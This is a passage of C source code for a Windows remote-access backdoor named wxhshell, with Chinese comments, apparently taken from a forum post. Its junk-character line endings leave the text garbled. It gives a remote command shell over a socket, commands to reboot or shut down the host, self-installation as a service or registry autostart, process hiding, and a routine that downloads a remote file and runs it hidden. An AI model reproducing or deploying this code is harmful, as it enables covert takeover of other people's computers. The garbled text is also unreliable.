  // 帮助 c{7!:hi`x  
  case '?': { %5NfF65'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z@=#ry  
    break; CFkM}`v0  
  } *dL!)+:d  
  // 安装 E_MGejm@  
  case 'i': { G(EiDo&  
    if(Install()) SZea[~ &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1|Us"GQ (n  
    else &AG,]#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e@F9'z4  
    break; m = "N4!  
    } f)~urGazS  
  // 卸载 DI"mi1ObE  
  case 'r': { ;gu_/[P  
    if(Uninstall()) U8PSJ0ny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EQET:a:g  
    else JF IUD{>fp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yc BY[i0  
    break; @or&GcQ*  
    } ;|5m;x/a  
  // 显示 wxhshell 所在路径 S9U,so?  
  case 'p': { ]4ya$%A  
    char svExeFile[MAX_PATH]; d:|X|0#\uH  
    strcpy(svExeFile,"\n\r"); CfNHv-jDL  
      strcat(svExeFile,ExeFile); rfpeX   
        send(wsh,svExeFile,strlen(svExeFile),0); _ko16wfg  
    break;  LkD$\i  
    } }E+#*R3auB  
  // 重启 K1AI:$H  
  case 'b': { G>qzAgA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GNlP]9wX  
    if(Boot(REBOOT)) w(zlHj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~.:B2=5K  
    else { nb9qVuAGU  
    closesocket(wsh); ^w/_hY!4/  
    ExitThread(0); qM~ev E$%  
    } !ZPaU11  
    break; a$y=+4L  
    } : " 9F.U  
  // 关机 ]L@VpHEj  
  case 'd': { -^`]tF`M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]cdKd)  
    if(Boot(SHUTDOWN)) o$8v8="p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :UGc6  
    else { . T6fPEb  
    closesocket(wsh); q$(@  
    ExitThread(0); Mhc!v, D$  
    } ~pWbD~aeg  
    break; QqA~y$'ut  
    } "T|%F D&[  
  // 获取shell !/^i\)j>](  
  case 's': { *,A?lX,9A  
    CmdShell(wsh); t."hAvRL  
    closesocket(wsh); Dm?>U1{   
    ExitThread(0); rV>/:FG  
    break; fgVeB;k|  
  } [#S}L(  
  // 退出 H|T!}M>  
  case 'x': {  I0trHrX9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G%_6" s  
    CloseIt(wsh); "E =\Vz  
    break; 'yuM=Pb  
    } ^|M\vO  
  // 离开 >DeG//rv  
  case 'q': {  P#m/b<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (=c R;\s<  
    closesocket(wsh); P~$FgAV  
    WSACleanup(); MQ>.^]B]o  
    exit(1); {_t i*#  
    break; ">PpC]Y1  
        } KLK '_)|CT  
  } m`l3@ Z  
  } ;`Eie2y{M  
c |OIUc  
  // 提示信息 -h+=^,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O) NEt  
} VDq4n;p1  
  } k$1ya7-@  
H. UwM  
  return;  W|XTa  
} E#?*6/  
S(<r-bV<  
// shell模块句柄 8@S7_x  
int CmdShell(SOCKET sock) F[uy'~;@  
{ |y=;#A  
STARTUPINFO si; W!|A3V35\:  
ZeroMemory(&si,sizeof(si)); pcwkO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mVFz[xI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $xqI3UaX  
PROCESS_INFORMATION ProcessInfo; <Hw)},_*  
char cmdline[]="cmd"; |_ZD[v S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J`}5bnFP  
  return 0; ZS[(r-)$F  
} k9H7(nS{  
O]rAo  
// 自身启动模式 #n&/yYl9(l  
int StartFromService(void) 6z3 Yq{1  
{ ma@3BiM  
typedef struct #Bq.'?c'~  
{ Qwl=/<p1  
  DWORD ExitStatus; <8Y;9N|94!  
  DWORD PebBaseAddress; "e.QiK  
  DWORD AffinityMask; 8Yfg@"Tn  
  DWORD BasePriority; l`D^)~o8  
  ULONG UniqueProcessId; ." 9t<<!  
  ULONG InheritedFromUniqueProcessId; s6Ox!)&  
}   PROCESS_BASIC_INFORMATION; )QS4Z{)U  
uJ ;7]  
PROCNTQSIP NtQueryInformationProcess; 1d)wE4c=Z  
wO:!B\e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f@U\2r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5A(zQ'6  
]l\'1-/  
  HANDLE             hProcess; # LRN@?P  
  PROCESS_BASIC_INFORMATION pbi; ~xI1@^ r  
M =Pn8<h~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |Y#KMi ~  
  if(NULL == hInst ) return 0; PAG.],"D  
0 ?kaXD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wc z|Zy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pm$ZKM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pE.f}  
:C6  
  if (!NtQueryInformationProcess) return 0; 6b1f ?0  
BZAeg">3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6f1%5&si  
  if(!hProcess) return 0; Fl{:aq"3  
u;1/.`NPB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :EOx>Pf_9)  
$50rj  
  CloseHandle(hProcess); Uawf,57v<  
3k)W0]:|<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zO#{qF+~;  
if(hProcess==NULL) return 0; v^;-w~?3  
a#H2H`%  
HMODULE hMod; >s#[dr\ww  
char procName[255]; 27mGX\T  
unsigned long cbNeeded; |<nS<x  
l|#WQXs*c{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 52+;j[ ]/O  
::13$g=T9s  
  CloseHandle(hProcess); 2kg<O%KA`c  
:|hFpLt  
if(strstr(procName,"services")) return 1; // 以服务启动 +B^(,qKMN  
QoZ7l]^  
  return 0; // 注册表启动 -dX{ R_*  
} |Z%I3-z_DS  
Xk#"rM< Y  
// 主模块 @\-i3EhR  
int StartWxhshell(LPSTR lpCmdLine) J6x#c`Y  
{ yn&AMq ]o  
  SOCKET wsl; Z4YQ5O5  
BOOL val=TRUE; |,zcrOo]  
  int port=0; QmQsNcF~z  
  struct sockaddr_in door; f8]Qn8  
]y&w)-0  
  if(wscfg.ws_autoins) Install(); aoNTRJ c$  
2+KOUd&jS  
port=atoi(lpCmdLine); 5rG&Z5  
t;BvKH77  
if(port<=0) port=wscfg.ws_port; ENu`@S='I3  
vfID@g`!q+  
  WSADATA data; 3{e7j6u\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [hy:BV6H+  
gH87e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;zy[xg.7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oK3uGPi  
  door.sin_family = AF_INET; +rEqE/QF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z4S0{:XY  
  door.sin_port = htons(port); eIVCg-l}  
X8!=Xjl)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @NBWNgBv  
closesocket(wsl); *2MM   
return 1; e&&;"^@-  
} .ZSGnbJ  
GKPC9;{W  
  if(listen(wsl,2) == INVALID_SOCKET) { f"XFf@!  
closesocket(wsl); k< b`v&G  
return 1; u15-|i{y7  
} oicett=5  
  Wxhshell(wsl); P3[+c4  
  WSACleanup(); bkmW[w:M  
-VK 6Fq  
return 0; - w41Bvz0  
o`^GUY}  
} H^jFvAI,8  
(s?`*i:2  
// 以NT服务方式启动 EZvB#cuL-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "BB#[@  
{ 8+^?<FKa  
DWORD   status = 0; 2u9^ )6/  
  DWORD   specificError = 0xfffffff; jYwv+EXg  
^{<x*/nK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k;V4%O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @\gTi;u/x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /EY ^ui  
  serviceStatus.dwWin32ExitCode     = 0; 6 bL+q`3>  
  serviceStatus.dwServiceSpecificExitCode = 0; 7?6?`no~JJ  
  serviceStatus.dwCheckPoint       = 0; )k5lA=(Yr+  
  serviceStatus.dwWaitHint       = 0; /a7tg+:  
=~r?(u6d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p'afCX@J  
  if (hServiceStatusHandle==0) return; jF}zv  
LS:3Dtq  
status = GetLastError(); MFHPh8P  
  if (status!=NO_ERROR) ?sl 7C gl  
{ x}TDb0V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jE)&`yZ5  
    serviceStatus.dwCheckPoint       = 0; \jn[kQ+pJ  
    serviceStatus.dwWaitHint       = 0; <j1l&H|ux,  
    serviceStatus.dwWin32ExitCode     = status; a,Gd\.D  
    serviceStatus.dwServiceSpecificExitCode = specificError; gi`K^L=C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &s!"pEZWck  
    return; G9\Bi-'ul  
  } Y""-U3;T~  
yI9~LTlA3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7Dy\-9:v  
  serviceStatus.dwCheckPoint       = 0; 5qco4@8  
  serviceStatus.dwWaitHint       = 0; b6D}GuW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K?')#%Z/{#  
} RL>Nl ow  
5GK=R aV  
// 处理NT服务事件,比如:启动、停止 }G&#pw2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,x5`5mT3  
{ bw#zMU^E  
switch(fdwControl) 4QWDuLu  
{ 'e-Nt&;  
case SERVICE_CONTROL_STOP: %h U8ycI*h  
  serviceStatus.dwWin32ExitCode = 0; 7BCCQsz<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UTQ$sg|7p  
  serviceStatus.dwCheckPoint   = 0; ~p~8T  
  serviceStatus.dwWaitHint     = 0; +3e(psdg  
  { ]B>Y  +  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b?-%Uzp<  
  } oS)0,p  
  return; zypZ3g{vz  
case SERVICE_CONTROL_PAUSE: gf+Kr02~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5EIhCbA  
  break; ErF;5ec  
case SERVICE_CONTROL_CONTINUE: _<5o1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e , zR  
  break; /:>f$k4~h  
case SERVICE_CONTROL_INTERROGATE: Ygn"7  
  break; 2F-!SI  
}; lj.z>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BQf}S +  
} 87EI<\mP  
YZ\$b=-  
// 标准应用程序主函数 !B?/6XRUx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NFGC.<  
{ N s9cx  
!U#kUj:4I  
// 获取操作系统版本 `"[VkQFB/  
OsIsNt=GetOsVer(); aPB %6c=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o_U=]mEDY  
9;Ezm<VQ  
  // 从命令行安装 b@N|sXt&C  
  if(strpbrk(lpCmdLine,"iI")) Install(); K&"Yv~h  
`Oys&]vb  
  // 下载执行文件 1W-t})!a  
if(wscfg.ws_downexe) { cWgiFv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9A\J*OU  
  WinExec(wscfg.ws_filenam,SW_HIDE); VS^%PM#:/  
} ,*0>CBJvv  
xk86?2b{)  
if(!OsIsNt) { mKZ?H$E%%  
// 如果时win9x,隐藏进程并且设置为注册表启动 n4)G g~PE  
HideProc(); #e&j]Q$Eh  
StartWxhshell(lpCmdLine); /woa[7Xe  
} +IVVsVp  
else Kv+E"2d  
  if(StartFromService()) N##T1 Qm)  
  // 以服务方式启动 =KNg "|  
  StartServiceCtrlDispatcher(DispatchTable);  <_MQC  
else %-]j;'6}cX  
  // 普通方式启动 !'ajpK  
  StartWxhshell(lpCmdLine); 5@j?7%_8  
@okC":Fw,  
return 0; }*$-rieg  
}
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只看该作者 1 发表于: 2006-10-10
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